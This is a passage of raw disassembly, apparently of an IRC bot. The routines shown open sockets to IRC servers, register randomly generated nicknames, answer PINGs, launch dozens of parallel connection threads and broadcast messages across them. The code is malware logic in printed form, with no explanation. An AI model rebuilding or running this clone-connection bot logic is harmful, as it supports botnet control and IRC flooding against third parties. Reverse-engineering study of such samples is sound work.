eax, eax jz short loc_4174E6 push offset word_4D34C0 ; Str2 push esi ; Str1 call __wcsicmp pop ecx test eax, eax pop ecx jnz short loc_4174E6 lea eax, [esi+400h] push offset word_4D3CC0 ; Str2 push eax ; Str1 call __wcsicmp pop ecx test eax, eax pop ecx jz short loc_417516 loc_4174E6: ; CODE XREF: sub_41741D+9Fj ; sub_41741D+B0j push esi push 0 call edi ; GetProcessHeap push eax call ds:dword_427140 ; RtlFreeHeap jmp short loc_4174FA ; --------------------------------------------------------------------------- loc_4174F4: ; CODE XREF: sub_41741D+5Dj mov eax, [ebp+var_48] mov [ebp+var_4], eax loc_4174FA: ; CODE XREF: sub_41741D+71j ; sub_41741D+77j ... add ebx, [ebp+var_4] cmp ebx, [ebp+var_C] jb loc_417468 loc_417506: ; CODE XREF: sub_41741D+3Fj push [ebp+arg_0] call ds:dword_427068 ; CloseHandle loc_41750F: ; CODE XREF: sub_41741D+1Ej xor eax, eax loc_417511: ; CODE XREF: sub_41741D+134j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_417516: ; CODE XREF: sub_41741D+C7j add ebx, 800h lea eax, [esi+800h] xor ecx, ecx mov dword_4D46DC, ebx mov Src, eax cmp [eax], cl jnz short loc_417538 cmp [eax+1], cl jz short loc_417540 loc_417538: ; CODE XREF: sub_41741D+114j ; sub_41741D+121j inc ecx inc eax inc eax cmp byte ptr [eax], 0 jnz short loc_417538 loc_417540: ; CODE XREF: sub_41741D+119j mov eax, [ebp+arg_4] push [ebp+arg_0] mov [eax], ecx call ds:dword_427068 ; CloseHandle push 1 pop eax jmp short loc_417511 sub_41741D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417553 proc near ; CODE XREF: sub_416F1B+135p var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4D46D8 push esi mov esi, ds:dword_427148 push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_6], ax mov [ebp+var_8], cx movzx eax, ax push eax push 8 call esi ; GetProcessHeap push eax call ds:dword_427144 ; RtlAllocateHeap mov ecx, dword_4D46D8 mov [ebp+var_4], eax add ecx, ecx push ecx ; Size push Src ; Src push eax ; Dst call _memcpy add esp, 0Ch lea eax, [ebp+var_8] push eax mov al, byte ptr dword_4D46E4 push eax call dword_4D44C4 push [ebp+var_4] mov edi, offset byte_4D44D0 push offset word_4D34C0 push offset word_4D3CC0 push [ebp+arg_0] push offset asc_438244 ; "-" push 200h ; Count push edi ; Dest call __snprintf add esp, 1Ch push [ebp+var_4] push 0 call esi ; GetProcessHeap push eax call ds:dword_427140 ; RtlFreeHeap mov eax, edi pop edi pop esi leave retn sub_417553 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4175EA proc near ; CODE XREF: sub_416F1B:loc_417057p var_18 = word ptr -18h var_16 = word ptr -16h Dst = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov eax, dword_4D46D8 push ebx push esi push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_16], ax mov [ebp+var_18], cx movzx eax, ax push eax push 8 call ds:dword_427148 ; GetProcessHeap push eax call ds:dword_427144 ; RtlAllocateHeap and [ebp+var_C], 0 mov [ebp+Dst], eax mov ebx, offset word_4D3CC0 mov edi, 200h mov esi, offset byte_4D32C0 loc_417630: ; CODE XREF: sub_4175EA+FAj mov eax, dword_4D46D8 add eax, eax push eax ; Size push Src ; Src push [ebp+Dst] ; Dst call _memcpy add esp, 0Ch lea eax, [ebp+var_18] push eax push [ebp+var_C] call dword_4D44C4 mov eax, dword_4D46D8 and [ebp+var_10], 0 mov ecx, [ebp+Dst] mov [ebp+var_8], 1 test eax, eax jbe short loc_4176A5 loc_41766D: ; CODE XREF: sub_4175EA+B3j cmp [ebp+var_8], 0 jz short loc_4176C2 mov dl, [ecx] test dl, dl mov [ebp+var_1], dl jz short loc_417691 cmp byte ptr [ecx+1], 0 jnz short loc_417691 cmp dl, 20h jnb short loc_41768B and [ebp+var_8], 0 loc_41768B: ; CODE XREF: sub_4175EA+9Bj cmp [ebp+var_1], 7Eh jbe short loc_417695 loc_417691: ; CODE XREF: sub_4175EA+90j ; sub_4175EA+96j and [ebp+var_8], 0 loc_417695: ; CODE XREF: sub_4175EA+A5j inc ecx inc ecx inc [ebp+var_10] cmp [ebp+var_10], eax jb short loc_41766D cmp [ebp+var_8], 0 jz short loc_4176C2 loc_4176A5: ; CODE XREF: sub_4175EA+81j push [ebp+Dst] push offset word_4D34C0 push ebx push [ebp+arg_0] push offset asc_438244 ; "-" push edi ; Count push esi ; Dest call __snprintf add esp, 1Ch jmp short loc_4176DA ; --------------------------------------------------------------------------- loc_4176C2: ; CODE XREF: sub_4175EA+87j ; sub_4175EA+B9j push offset word_4D34C0 push ebx push [ebp+arg_0] push offset asc_438294 ; "-" push edi ; Count push esi ; Dest call __snprintf add esp, 18h loc_4176DA: ; CODE XREF: sub_4175EA+D6j inc [ebp+var_C] cmp [ebp+var_C], 0FFh jbe loc_417630 push [ebp+Dst] push 0 call ds:dword_427148 ; GetProcessHeap push eax call ds:dword_427140 ; RtlFreeHeap mov eax, esi pop edi pop esi pop ebx leave retn sub_4175EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417703 proc near ; CODE XREF: sub_4178BB+2Fp Dst = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4CB6D4 ; socket mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_41777F push 10h ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+arg_4] call dword_4CB654 ; htons push [ebp+arg_0] mov [ebp+var_E], ax call dword_4CB694 ; inet_addr cmp eax, esi jnz short loc_417764 push [ebp+arg_0] call dword_4CB6D8 ; gethostbyname test eax, eax jz short loc_41777F mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_417764: ; CODE XREF: sub_417703+4Bj mov [ebp+var_C], eax lea eax, [ebp+Dst] push 10h push eax push edi call dword_4CB5FC ; connect cmp eax, esi jnz short loc_417783 push edi call dword_4CB6EC ; closesocket loc_41777F: ; CODE XREF: sub_417703+1Bj ; sub_417703+58j mov eax, esi jmp short loc_417785 ; --------------------------------------------------------------------------- loc_417783: ; CODE XREF: sub_417703+73j mov eax, edi loc_417785: ; CODE XREF: sub_417703+7Ej pop edi pop esi leave retn sub_417703 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_417789(char *Dest) sub_417789 proc near ; CODE XREF: sub_401ACD+3295p ; sub_401ACD+3301p ... Dest = dword ptr 4 push esi push edi mov edi, [esp+8+Dest] push offset asc_42A0A0 ; "\n" push edi ; Dest call _strcat pop ecx mov esi, offset dword_4D46EC pop ecx loc_4177A1: ; CODE XREF: sub_417789+42j cmp dword ptr [esi-4], 1 jnz short loc_4177BF cmp dword ptr [esi], 0 jbe short loc_4177BF push 0 push edi ; Str call _strlen pop ecx push eax push edi push dword ptr [esi] call dword_4CB6A4 ; send loc_4177BF: ; CODE XREF: sub_417789+1Cj ; sub_417789+21j add esi, 210h cmp esi, offset byte_4DAE0C jl short loc_4177A1 pop edi pop esi retn sub_417789 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4177D0(char *Str,int) sub_4177D0 proc near ; CODE XREF: sub_4178BB+155p Dst = byte ptr -420h Dest = byte ptr -220h Str2 = dword ptr -20h var_1C = dword ptr -1Ch Str = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 420h push ebx push esi mov esi, offset asc_42D124 ; " " push edi push esi ; Delim push [ebp+Str] ; Str call _strtok pop ecx mov [ebp+Str2], eax pop ecx lea edi, [ebp+var_1C] push 7 pop ebx loc_4177F5: ; CODE XREF: sub_4177D0+35j push esi ; Delim push 0 ; Str call _strtok mov [edi], eax pop ecx add edi, 4 dec ebx pop ecx jnz short loc_4177F5 mov esi, [ebp+var_1C] xor edi, edi cmp [ebp+Str2], edi jnz short loc_41781D cmp esi, edi jnz short loc_41781D push 1 pop eax jmp loc_4178B6 ; --------------------------------------------------------------------------- loc_41781D: ; CODE XREF: sub_4177D0+3Fj ; sub_4177D0+43j push [ebp+Str2] ; Str2 push offset aPing ; "PING" call _strcmp pop ecx pop ecx test eax, eax push esi ; Str2 jnz short loc_417838 push offset aPongS_0 ; "PONG %s\n" jmp short loc_417886 ; --------------------------------------------------------------------------- loc_417838: ; CODE XREF: sub_4177D0+5Fj push offset a433 ; "433" call _strcmp pop ecx test eax, eax pop ecx jz short loc_417859 push esi ; Str2 push offset a432 ; "432" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4178B4 loc_417859: ; CODE XREF: sub_4177D0+76j push 200h ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst call _memset lea eax, [ebp+Dst] push eax ; Dest call sub_417ADE add esp, 10h lea eax, [ebp+Dst] push eax push offset aNickS_1 ; "NICK %s\n" loc_417886: ; CODE XREF: sub_4177D0+66j lea eax, [ebp+Dest] push eax ; Dest call _sprintf add esp, 0Ch lea eax, [ebp+Dest] push edi push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Dest] push eax push [ebp+arg_4] call dword_4CB6A4 ; send loc_4178B4: ; CODE XREF: sub_4177D0+87j xor eax, eax loc_4178B6: ; CODE XREF: sub_4177D0+48j pop edi pop esi pop ebx leave retn sub_4177D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4178BB proc near ; DATA XREF: sub_417A60+61o Dest = byte ptr -4008h var_3008 = byte ptr -3008h Dst = byte ptr -2008h Str = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 4008h call __alloca_probe push ebx push esi mov esi, [ebp+arg_0] push edi imul esi, 210h push 1 pop edi lea eax, dword_4D46F4[esi] mov dword_4D46E8[esi], edi push dword_4D48F4[esi] push eax call sub_417703 pop ecx xor ebx, ebx cmp eax, edi pop ecx mov dword_4D46EC[esi], eax jb loc_417A40 mov edi, 1000h lea eax, [ebp+Dst] push edi ; Size push ebx ; Val push eax ; Dst call _memset lea eax, [ebp+Dst] push eax ; Dest call sub_417ADE lea eax, [ebp+Dest] push eax ; Dest call sub_417ADE lea eax, [ebp+var_3008] push eax ; Dest call sub_417ADE add esp, 18h lea eax, [ebp+var_3008] push eax lea eax, [ebp+Dest] push eax lea eax, [ebp+Dst] push eax lea eax, [ebp+Str] push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."... push eax ; Dest call _sprintf add esp, 14h lea eax, [ebp+Str] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Str] push eax push dword_4D46EC[esi] call dword_4CB6A4 ; send push edi ; Size lea eax, [ebp+Str] push ebx ; Val push eax ; Dst call _memset add esp, 0Ch loc_417997: ; CODE XREF: sub_4178BB+111j ; sub_4178BB+180j push edi ; Size lea eax, [ebp+Str] push ebx ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+Str] push ebx push edi push eax push dword_4D46EC[esi] call dword_4CB66C ; recv cmp eax, ebx mov [ebp+var_8], eax jle short loc_417A40 xor eax, eax cmp [ebp+var_8], ebx mov [ebp+var_4], eax jz short loc_417997 loc_4179CE: ; CODE XREF: sub_4178BB+17Ej mov al, [ebp+eax+Str] cmp al, 0Dh jz short loc_4179F5 cmp al, 0Ah jz short loc_4179F5 cmp [ebp+arg_0], 0FA0h jz short loc_4179F5 mov ecx, [ebp+arg_0] inc [ebp+arg_0] mov [ebp+ecx+Dst], al jmp short loc_417A2F ; --------------------------------------------------------------------------- loc_4179F5: ; CODE XREF: sub_4178BB+11Cj ; sub_4178BB+120j ... mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_417A2F push dword_4D46EC[esi] ; int mov [ebp+eax+Dst], bl lea eax, [ebp+Dst] push eax ; Str call sub_4177D0 pop ecx test eax, eax pop ecx ja short loc_417A40 push edi ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+arg_0], ebx loc_417A2F: ; CODE XREF: sub_4178BB+138j ; sub_4178BB+13Fj mov eax, [ebp+var_4] inc eax cmp eax, [ebp+var_8] mov [ebp+var_4], eax jnz short loc_4179CE jmp loc_417997 ; --------------------------------------------------------------------------- loc_417A40: ; CODE XREF: sub_4178BB+40j ; sub_4178BB+107j ... mov dword_4D46E8[esi], ebx mov esi, dword_4D46EC[esi] cmp esi, ebx jbe short loc_417A57 push esi call dword_4CB6EC ; closesocket loc_417A57: ; CODE XREF: sub_4178BB+193j pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_4178BB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_417A60(char *Source,int,int) sub_417A60 proc near ; CODE XREF: sub_401ACD+31E2p var_8 = byte ptr -8 var_4 = dword ptr -4 Source = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp [ebp+arg_8], ebx push esi push edi mov [ebp+var_4], ebx jle short loc_417AD9 loc_417A72: ; CODE XREF: sub_417A60+77j xor edi, edi mov eax, offset dword_4D46E8 loc_417A79: ; CODE XREF: sub_417A60+28j cmp [eax], ebx jz short loc_417A8A add eax, 210h inc edi cmp eax, offset dword_4DAE08 jl short loc_417A79 loc_417A8A: ; CODE XREF: sub_417A60+1Bj cmp edi, 31h jz short loc_417AD9 mov esi, edi push [ebp+Source] ; Source imul esi, 210h lea eax, dword_4D46F4[esi] push eax ; Dest call _strcpy mov eax, [ebp+arg_4] pop ecx mov dword_4D48F4[esi], eax pop ecx lea eax, [ebp+var_8] mov dword_4D46E8[esi], 1 push eax push ebx push edi push offset sub_4178BB push ebx push ebx call ds:dword_42707C ; CreateThread inc [ebp+var_4] mov eax, [ebp+var_4] cmp eax, [ebp+arg_8] jl short loc_417A72 loc_417AD9: ; CODE XREF: sub_417A60+10j ; sub_417A60+2Dj pop edi pop esi pop ebx leave retn sub_417A60 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_417ADE(char *Dest) sub_417ADE proc near ; CODE XREF: sub_401ACD+374Ep ; sub_401ACD+3794p ... Source = byte ptr -40h var_2D = byte ptr -2Dh Dst = byte ptr -2Ch var_2B = byte ptr -2Bh var_18 = qword ptr -18h Count = dword ptr -0Ch var_4 = dword ptr -4 Dest = dword ptr 8 push ebp mov ebp, esp sub esp, 40h push 14h ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset add esp, 0Ch call _rand mov [ebp+Count], eax fild [ebp+Count] fmul ds:dbl_4276F0 call __ftol cmp eax, 1 jnz short loc_417B28 call _rand call _rand push 66h cdq pop ecx idiv ecx push off_4385E8[edx*4] jmp short loc_417B41 ; --------------------------------------------------------------------------- loc_417B28: ; CODE XREF: sub_417ADE+2Fj call _rand call _rand cdq mov ecx, 0C0h idiv ecx push off_4382E8[edx*4] ; Source loc_417B41: ; CODE XREF: sub_417ADE+48j lea eax, [ebp+Dst] push eax ; Dest call _strcpy pop ecx lea eax, [ebp+Dst] pop ecx push ebx push esi push edi push eax ; Str call _strlen pop ecx mov esi, eax push 13h mov [ebp+var_4], esi pop eax sub eax, esi mov [ebp+Count], eax call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_4276E8 call __ftol mov ebx, eax call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul ds:dbl_4276E0 call __ftol cmp esi, 2 mov edi, offset a__1 ; "-|`_\\{[]}" jle short loc_417BB4 cmp esi, 3 jnz short loc_417BAB cmp ebx, 1 jz short loc_417BB4 loc_417BAB: ; CODE XREF: sub_417ADE+C6j cmp eax, 1 jnz loc_417C6E loc_417BB4: ; CODE XREF: sub_417ADE+C1j ; sub_417ADE+CBj call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_4276D8 call __ftol push off_4385E8[eax*4] ; Source lea eax, [ebp+Source] push eax ; Dest call _strcpy movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+Dst] push eax ; Val push edi ; Str call _strchr add esp, 10h test eax, eax jnz short loc_417C5B movsx eax, [ebp+Source] push eax ; Val push edi ; Str call _strchr pop ecx test eax, eax pop ecx jnz short loc_417C5B call _rand mov dword ptr [ebp+var_18+4], eax dec esi fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], esi fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul ds:dbl_4276E0 call __ftol cmp eax, 1 jnz short loc_417C5B push edi ; Str call _strlen and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-8] call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-8] fmul ds:dbl_4276E0 call __ftol mov al, byte ptr a__1[eax] ; "-|`_\\{[]}" mov [ebx], al loc_417C5B: ; CODE XREF: sub_417ADE+111j ; sub_417ADE+122j ... push [ebp+Count] ; Count lea eax, [ebp+Source] push eax ; Source lea eax, [ebp+Dst] push eax ; Dest call _strncat add esp, 0Ch loc_417C6E: ; CODE XREF: sub_417ADE+D0j lea eax, [ebp+Dst] push eax ; Str call _strlen mov esi, eax movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+Dst] push eax ; C mov [ebp+var_4], esi call _isdigit pop ecx test eax, eax pop ecx jnz loc_417ED6 and [ebp+Count], eax movsx eax, byte ptr [ebx-1] push eax ; Val push edi ; Str call _strchr pop ecx test eax, eax pop ecx jnz loc_417DCD call _rand mov dword ptr [ebp+var_18+4], eax lea eax, [esi+3] fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul ds:dbl_4276E0 call __ftol cmp esi, 3 jz short loc_417CDC cmp eax, 1 jnz loc_417DCD loc_417CDC: ; CODE XREF: sub_417ADE+1F3j push 2 cdq pop ecx idiv ecx cmp edx, 1 jnz short loc_417D1E push edi ; Str call _strlen and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul ds:dbl_4276E0 call __ftol mov al, byte ptr a__1[eax] ; "-|`_\\{[]}" mov [ebx], al jmp short loc_417D3A ; --------------------------------------------------------------------------- loc_417D1E: ; CODE XREF: sub_417ADE+207j call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_4276D0 call __ftol mov cl, 41h sub cl, al mov [ebx], cl loc_417D3A: ; CODE XREF: sub_417ADE+23Ej push 1 inc esi pop ebx mov [ebp+var_4], esi mov [ebp+Count], ebx call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_4276C8 call __ftol cmp esi, 3 jz short loc_417D63 cmp eax, ebx jnz short loc_417DCD loc_417D63: ; CODE XREF: sub_417ADE+27Fj push 2 pop ebx cdq mov ecx, ebx idiv ecx test edx, edx jnz short loc_417DA8 push edi ; Str call _strlen and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul ds:dbl_4276E0 call __ftol mov al, byte ptr a__1[eax] ; "-|`_\\{[]}" mov [ebp+esi+Dst], al jmp short loc_417DC6 ; --------------------------------------------------------------------------- loc_417DA8: ; CODE XREF: sub_417ADE+28Fj call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_4276D0 call __ftol mov cl, 41h sub cl, al mov [ebp+esi+Dst], cl loc_417DC6: ; CODE XREF: sub_417ADE+2C8j inc esi mov [ebp+Count], ebx mov [ebp+var_4], esi loc_417DCD: ; CODE XREF: sub_417ADE+1C9j ; sub_417ADE+1F8j ... cmp esi, 6 jge loc_417E56 cmp esi, 5 jge short loc_417DEE call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_4276E8 jmp short loc_417E0C ; --------------------------------------------------------------------------- loc_417DEE: ; CODE XREF: sub_417ADE+2FBj call _rand push 8 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] pop eax sub eax, esi mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul ds:dbl_4276E0 loc_417E0C: ; CODE XREF: sub_417ADE+30Ej call __ftol test eax, eax jnz short loc_417E2F call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_4276C0 call __ftol mov cl, 30h jmp short loc_417E4C ; --------------------------------------------------------------------------- loc_417E2F: ; CODE XREF: sub_417ADE+335j cmp eax, 1 jnz short loc_417E56 call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_4276D0 call __ftol mov cl, 41h loc_417E4C: ; CODE XREF: sub_417ADE+34Fj sub cl, al mov [ebp+esi+Dst], cl inc esi mov [ebp+var_4], esi loc_417E56: ; CODE XREF: sub_417ADE+2F2j ; sub_417ADE+354j cmp [ebp+Count], 2 jge short loc_417ED6 call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul ds:dbl_4276E0 call __ftol cmp eax, 1 jnz short loc_417ED6 call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_4276C0 call __ftol mov cl, 30h sub cl, al mov [ebp+esi+Dst], cl call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_4276B8 call __ftol cmp eax, 1 jnz short loc_417ED6 cmp [ebp+Count], eax jge short loc_417ED6 call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_4276B0 call __ftol mov cl, 30h sub cl, al mov [ebp+esi+var_2B], cl loc_417ED6: ; CODE XREF: sub_417ADE+1B1j ; sub_417ADE+37Cj ... lea eax, [ebp+Dst] push 14h ; Count push eax ; Source push [ebp+Dest] ; Dest call _strncpy mov eax, [ebp+Dest] add esp, 0Ch pop edi pop esi pop ebx leave retn sub_417ADE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_417EEF(char *Src,char *SubStr,char *Source) sub_417EEF proc near ; CODE XREF: sub_401ACD+BECp ; sub_401ACD+C29p ... Src = dword ptr 8 SubStr = dword ptr 0Ch Source = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+Src] xor esi, esi cmp edi, esi jz short loc_417F7A mov eax, [ebp+SubStr] cmp eax, esi jz short loc_417F7A cmp [ebp+Source], esi jz short loc_417F7A cmp byte ptr [eax], 0 jz short loc_417F7A push ebx push edi ; Src call __strdup mov ebx, eax pop ecx test ebx, ebx jz short loc_417F75 push [ebp+SubStr] ; SubStr push edi ; Str call _strstr mov esi, eax pop ecx test esi, esi pop ecx jz short loc_417F6E sub eax, edi push eax ; Count push edi ; Source push ebx ; Dest call _strncpy push [ebp+Source] ; Str mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call _strlen push eax ; Count push [ebp+Source] ; Source push ebx ; Dest call _strncat push [ebp+SubStr] ; Str call _strlen add eax, esi push eax ; Source push ebx ; Dest call _strcat push ebx ; Source push edi ; Dest call _strcpy add esp, 30h mov esi, edi loc_417F6E: ; CODE XREF: sub_417EEF+3Cj push ebx call sub_41B0B1 pop ecx loc_417F75: ; CODE XREF: sub_417EEF+2Bj mov eax, esi pop ebx jmp short loc_417F7C ; --------------------------------------------------------------------------- loc_417F7A: ; CODE XREF: sub_417EEF+Cj ; sub_417EEF+13j ... xor eax, eax loc_417F7C: ; CODE XREF: sub_417EEF+89j pop edi pop esi pop ebp retn sub_417EEF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_417F80(char *Str,int) sub_417F80 proc near ; CODE XREF: sub_401955+E9p ; sub_4101FD+F4p Dst = dword ptr -7D0h var_7CC = byte ptr -7CCh Str = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push 7D0h ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset mov esi, [ebp+Str] push esi ; Str call _strlen add esp, 10h push 1 pop ebx cmp eax, ebx jge short loc_417FB6 or eax, 0FFFFFFFFh jmp short loc_418029 ; --------------------------------------------------------------------------- loc_417FB6: ; CODE XREF: sub_417F80+2Fj xor ecx, ecx mov [ebp+Dst], esi test eax, eax jle short loc_417FD8 loc_417FC2: ; CODE XREF: sub_417F80+56j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_417FCF cmp dl, 0Dh jnz short loc_417FD3 loc_417FCF: ; CODE XREF: sub_417F80+48j and byte ptr [ecx+esi], 0 loc_417FD3: ; CODE XREF: sub_417F80+4Dj inc ecx cmp ecx, eax jl short loc_417FC2 loc_417FD8: ; CODE XREF: sub_417F80+40j xor edx, edx push edi test eax, eax jle short loc_418009 lea edi, [ebp+var_7CC] loc_417FE5: ; CODE XREF: sub_417F80+87j cmp byte ptr [edx+esi], 0 jnz short loc_418004 cmp byte ptr [edx+esi+1], 0 lea ecx, [edx+esi+1] jz short loc_418004 cmp ebx, 1F4h jge short loc_418009 mov [edi], ecx inc ebx add edi, 4 loc_418004: ; CODE XREF: sub_417F80+69j ; sub_417F80+74j inc edx cmp edx, eax jl short loc_417FE5 loc_418009: ; CODE XREF: sub_417F80+5Dj ; sub_417F80+7Cj cmp [ebp+arg_4], 0 pop edi jz short loc_418027 lea eax, [ebp+Dst] push 7D0h ; Size push eax ; Src push [ebp+arg_4] ; Dst call _memcpy add esp, 0Ch loc_418027: ; CODE XREF: sub_417F80+8Ej mov eax, ebx loc_418029: ; CODE XREF: sub_417F80+34j pop esi pop ebx leave retn sub_417F80 endp ; =============== S U B R O U T I N E ======================================= sub_41802D proc near ; CODE XREF: sub_418087+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h xor esi, esi rep stosd lea edi, [eax-1] test edi, edi jl short loc_418066 push ebx mov ebx, edi loc_41804A: ; CODE XREF: sub_41802D+36j mov eax, [esp+0Ch+arg_0] mov al, [esi+eax] push eax call sub_418069 pop ecx inc esi mov ecx, [esp+0Ch+arg_8] mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_41804A pop ebx loc_418066: ; CODE XREF: sub_41802D+18j pop edi pop esi retn sub_41802D endp ; =============== S U B R O U T I N E ======================================= sub_418069 proc near ; CODE XREF: sub_41802D+25p ; sub_418087+6Bp arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax ; C call _tolower ; _tolower cmp al, 61h pop ecx jl short loc_418084 cmp al, 7Ah jg short loc_418084 movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_418084: ; CODE XREF: sub_418069+Ej ; sub_418069+12j xor eax, eax retn sub_418069 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_418087(char *Str,int) sub_418087 proc near ; CODE XREF: sub_41528E+A0p var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 Str = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call __alloca_probe push ebx push esi push edi push [ebp+Str] ; Str call _strlen push [ebp+arg_4] ; Str mov [ebp+var_4], eax call _strlen mov esi, eax lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_41802D add esp, 14h dec esi mov edi, esi loc_4180C5: ; CODE XREF: sub_418087+B6j test esi, esi jle short loc_418143 mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax ; C call _tolower ; _tolower mov ebx, eax mov eax, [ebp+Str] movsx eax, byte ptr [edi+eax] push eax ; C call _tolower ; _tolower pop ecx cmp eax, ebx pop ecx jz short loc_41813B loc_4180EB: ; CODE XREF: sub_418087+B2j mov ebx, [ebp+Str] mov al, [edi+ebx] push eax call sub_418069 mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_41810C mov eax, ecx loc_41810C: ; CODE XREF: sub_418087+81j add edi, eax cmp edi, [ebp+var_4] jge short loc_41813F mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax ; C call _tolower ; _tolower mov edx, eax movsx eax, byte ptr [edi+ebx] push eax ; C mov [ebp+var_8], edx call _tolower ; _tolower pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_4180EB loc_41813B: ; 